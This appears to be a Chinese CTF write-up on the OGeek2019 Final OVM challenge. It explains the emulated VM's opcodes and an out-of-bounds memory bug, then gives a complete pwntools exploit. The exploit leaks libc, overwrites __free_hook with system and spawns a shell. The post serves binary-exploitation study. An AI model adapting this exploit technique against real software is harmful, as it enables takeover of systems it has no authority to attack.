一道题目学习VMpwn

原理

VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下:

  • 初始化分配模拟寄存器空间(reg)
  • 初始化分配模拟栈空间(stack)
  • 初始化分配模拟数据存储空间(data)
  • 初始化分配模拟机器指令(opcode)空间(text)

[OGeek2019 Final]OVM

程序采用32bit定长指令,每个操作码、操作数均为8bit,其格式为:

| opcode | dst | op1 | op2 |

程序具体指令参考如下:

opcode 含义 指令
0x10 reg[dst]=op2 mov
0x20 op2==0?reg[dst]=1:reg[dst]=0 test
0x30 reg[dst]=memory[reg[op2]] mov reg1,[reg2]
0x40 memory[reg[op2]]=reg[dst] mov [reg1],reg2
0x50 stack[rsp]=reg[dst];rsp=rsp+4; push
0x60 rsp=rsp-4;reg[dst]=stack[rsp]; pop
0x70 reg[dst] = reg[op2] + reg[op1] add
0x80 reg[dst]=reg[op1]-reg[op2] sub
0x90 reg[dst] = reg[op2] & reg[op1] and
0xa0 reg[dst] = reg[op2] or
0xb0 reg[dst] = reg[op2] ^ reg[op1] xor
0xc0 reg[dst] = reg[op1] << reg[op2]
0xd0 reg[dst] = reg[op1] >> reg[op2]
0xe0 exit+printf

程序利用思路

  1. 如下图,程序在内存读写的时候,均没有对输入的值做边界检查,如存在oob,可以利用该漏洞实现任意地址的读写,如读取got泄露libc
  2. 在这个程序里可以memory地址为0x202060,程序申请了glibc堆空间,该堆地址保存在comment处(地址0x202040),且用户可向该空间写入任意数据,故可以改写comment指向free_hook-0x8,填充free_hook为system,getshell
  3. 参考LOW博客,通过oob将stderror地址放入寄存器,通过偏移计算freehook,并将freehook填入comment,利用exit+printf泄露libc,得system地址,改写freehook为system从而获取shell

exp

from pwn import *#r = remote("node3.buuoj.cn", 29381)
r = process("./pwn")context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:gdb.attach(r,'''    b *$rebase(0xCFE)x/10gx $rebase(0x242060)c''')elf = ELF("./pwn")
#libc = ELF('/home/hhh/桌面/heap/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libc=elf.libc
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
log.success("malloc:"+hex(libc.sym[b'malloc']))
log.success("system:"+hex(libc.sym[b'system']))
log.success("free_hook:"+hex(libc.sym[b'__free_hook']))def code_generate(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return resr.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0, 0, 26))) #reg[0] = 26 (stderr) ,该OVM模拟的是32位机器,stderror地址为$rebase(0x201ff8),而memory地址为$rebase(0x202060),二者之间差距为0x68,注意该ovm模拟32bit机器,所以reg每一个偏移为4,故二者偏移为0x68/4=26
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 2, 0, 1))) #reg[2] = memory[reg[1]]  #stderror地址的低4bytes
r.sendline(str(code_generate(0x10, 0, 0, 25))) #reg[0] = 25
r.sendline(str(code_generate(0x10, 1, 0, 0))) #reg[1] = 0
r.sendline(str(code_generate(0x80, 1, 1, 0))) #reg[1] = reg[1] - reg[0]
r.sendline(str(code_generate(0x30, 3, 0, 1))) #reg[3] = memory[reg[1]] #stderror地址的高4bytes
r.sendline(str(code_generate(0x10, 4, 0, 1))) #reg[4] = 1
r.sendline(str(code_generate(0x10, 5, 0, 12))) #reg[5] = 12
r.sendline(str(code_generate(0xC0, 4, 4, 5))) #reg[4] = reg[4]<<reg[5]#reg4=0x1000
r.sendline(str(code_generate(0x10, 5, 0, 0xA))) #reg[5] = 0xA
r.sendline(str(code_generate(0x10, 6, 0, 4))) #reg[6] = 4
r.sendline(str(code_generate(0xC0, 5, 5, 6))) #reg[5] = reg[5]<<reg[6]
r.sendline(str(code_generate(0x70, 4, 4, 5))) #reg[4] = reg[4]+reg[5]#reg4=0x10a0
r.sendline(str(code_generate(0x70, 2, 4, 2))) #reg[2] = reg[4]+reg[2]#reg2为stderror的低4bytes,stderror距离freehook的偏移为0x10a8,这里使用0x10a0,求得freehook-0x8的位置
r.sendline(str(code_generate(0x10, 4, 0, 8))) #reg[4] = 8
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 2, 0, 5))) #memory[reg[5]]=reg[2] #改comment指向free_hook
r.sendline(str(code_generate(0x10, 4, 0, 7))) #reg[4] = 7
r.sendline(str(code_generate(0x10, 5, 0, 0))) #reg[5] = 0
r.sendline(str(code_generate(0x80, 5, 5, 4))) #reg[5] = reg[5] - reg[4]
r.sendline(str(code_generate(0x40, 3, 0, 5))) #memory[reg[5]]=reg[3]
r.sendline(str(code_generate(0xE0, 0, 1, 1))) #exitr.recvuntil("R2: ")
low = int(r.recvuntil('\n').strip(), 16) + 8
r.recvuntil("R3: ")
high = int(r.recvuntil('\n').strip(), 16)
free_hook = (high<<32)+low
log.success("free_hook:"+hex(free_hook))
libc.address = free_hook - libc.sym[b'__free_hook']
system = libc.sym[b'system']
r.recvuntil("HOW DO YOU FEEL AT OVM?\n")
r.sendline(b'/bin/sh\x00'+p64(system))r.interactive()

一道题目入门VMpwn相关推荐

  1. 由一道题目引发的为稳定与不稳定的排序思路

    今天为一道题目伤透了,还是因为自己的脑子不够机灵,很多地方想的不够透彻. 这个一道很典型的排序题目: http://www.cnblogs.com/lveternal/p/3413492.html 这 ...

  2. 由一道题目看抽象向量组的线性相关问题

    由一道题目看抽象向量组的线性相关问题 @(数学) 方法:观察法 || 定理 ||过渡矩阵 已知向量组α1,α2,α3\alpha_1,\alpha_2,\alpha_3线性无关,则下面的向量组线性相关 ...

  3. java 地铁换乘算法,地铁换乘-一道题目,求思路,不求代码,该怎么处理

    地铁换乘---一道题目,求思路,不求代码 1.地铁换乘 为解决交通难题,某城市修建了若干条交错的地铁线路,线路名及其所属站名如stations.txt所示. 线1 苹果园 .... 四惠东 线2 西直 ...

  4. 由一道题目总结幂级数的收敛域问题

    由一道题目总结幂级数的收敛域问题 @(微积分) 这个知识点可以联想阿贝尔的12块钱,即收敛区间内绝对收敛,边界需要特别讨论. 函数项级数∑∞n=1(2x+1)nn\sum_{n=1}^{\infty} ...

  5. 【题解】自己口胡的一道题目

    因为从现在到联赛之间我都没法写代码了,我只能用手机看我的博客,看到一道题目,想到强化. 这道题目是luogu4597序列 大意是每次花费1代价给一个数加一或者减一,求把一个数列变成非降的最小代价. 做 ...

  6. 群论及Polya计数定理题目入门

    本文以一些简单的题目为例,来研究一下群论及Polya计数在OI中的应用 注:本文无代码,仅介绍题目的思路和技巧,且难度较低,因为这些题目并不难写,在知道思路以后相信大家都能写出来,其实是因为我的代码写 ...

  7. 小浩珍藏多年的一道题目!答出来,给红包咯~

    熟悉我的朋友该知道,这两天我在准备搬家,所以事情很多,上一周基本都没有好好写算法文章.不过大家放心,这几天我一忙完就会恢复节奏,继续认真输出内容滴. 然后今天我给大家分享一个我高中时偶然在报刊上看到的 ...

  8. 数论题目入门 基础积攒

    基本性质 若p|(a-b),则a≡b (% p).例如 11 ≡ 4 (% 7), 18 ≡ 4(% 7) (a % p)=(b % p)意味a≡b (% p) 对称性:a≡b (% p)等价于b≡a ...

  9. 浮点数内存表示---记录一道题目

    一.进制基础 1. 十进制转二进制的方法 十进制转换为二进制数时,由于整数与小数的转换方式不同,所以分别转换整数部分和小数部分再加以合并.例如将十进制整数转为二进制:把 (173)10 转换为二进制数 ...

最新文章

  1. 滴滴叶杰平:年运送乘客百亿次,AI如何“服务”出行领域?| BDTC 2019
  2. 学python买什么电脑-学Python买什么笔记本电脑?
  3. 【开发工具】SCALA
  4. 平均分组 java_java – 按属性分组对象列表,并计算每个对象的对象属性的平均值...
  5. (转)5个Xcode开发调试技巧
  6. cogs577. 蝗灾(CDQ)
  7. MySQL workbench创建用户与授权
  8. 米聊关停;抖音支付正式上线;谷歌禁用第三方 Chromium 同步功能 | 极客头条
  9. Lesson 2 Create First Qt Program
  10. php文件怎么加统计代码,php统计文件中的代码行数
  11. 使用电子签章确立电子劳动合同的法律效力
  12. 图像处理(十四)HOG特征提取
  13. java建行验签不成功_php无COM版建行支付返回验签记录
  14. 【优化】1338- 分享一下图像优化原理
  15. 从0开始的appium+Android+python自动抢红包世界生活
  16. 视频编辑转换 ViscomSoft SDK ActiveX 19.0
  17. 全网域名已注册、未注册批量查询工具
  18. word文档无法编辑的解决办法
  19. 小程序制作宋词欣赏海报
  20. UDS的19 04读取快照信息解析

热门文章

  1. mac Dw cc2017 下载
  2. java Excel转Pdf
  3. TurboMail邮件系统助力振华物流近十年
  4. 前24券COOnbsp;彭雷:谈“O2O的前…
  5. 张瑞敏管理名言160句
  6. 计算机主板上方便用户自己安装,计算机主板,也叫系统板或母板。主板上装有组成电脑的主要电路系统,是计算机硬件系统的的主板部件中,方便用户自己可以安装的部件是__________。...
  7. Python处理特征数据以及plt绘图
  8. Win10系统下安装和配置MathType7
  9. AD-PCB覆铜后修改覆铜区域更新覆铜
  10. python实现冒泡,选择,插入排序(凑合着看)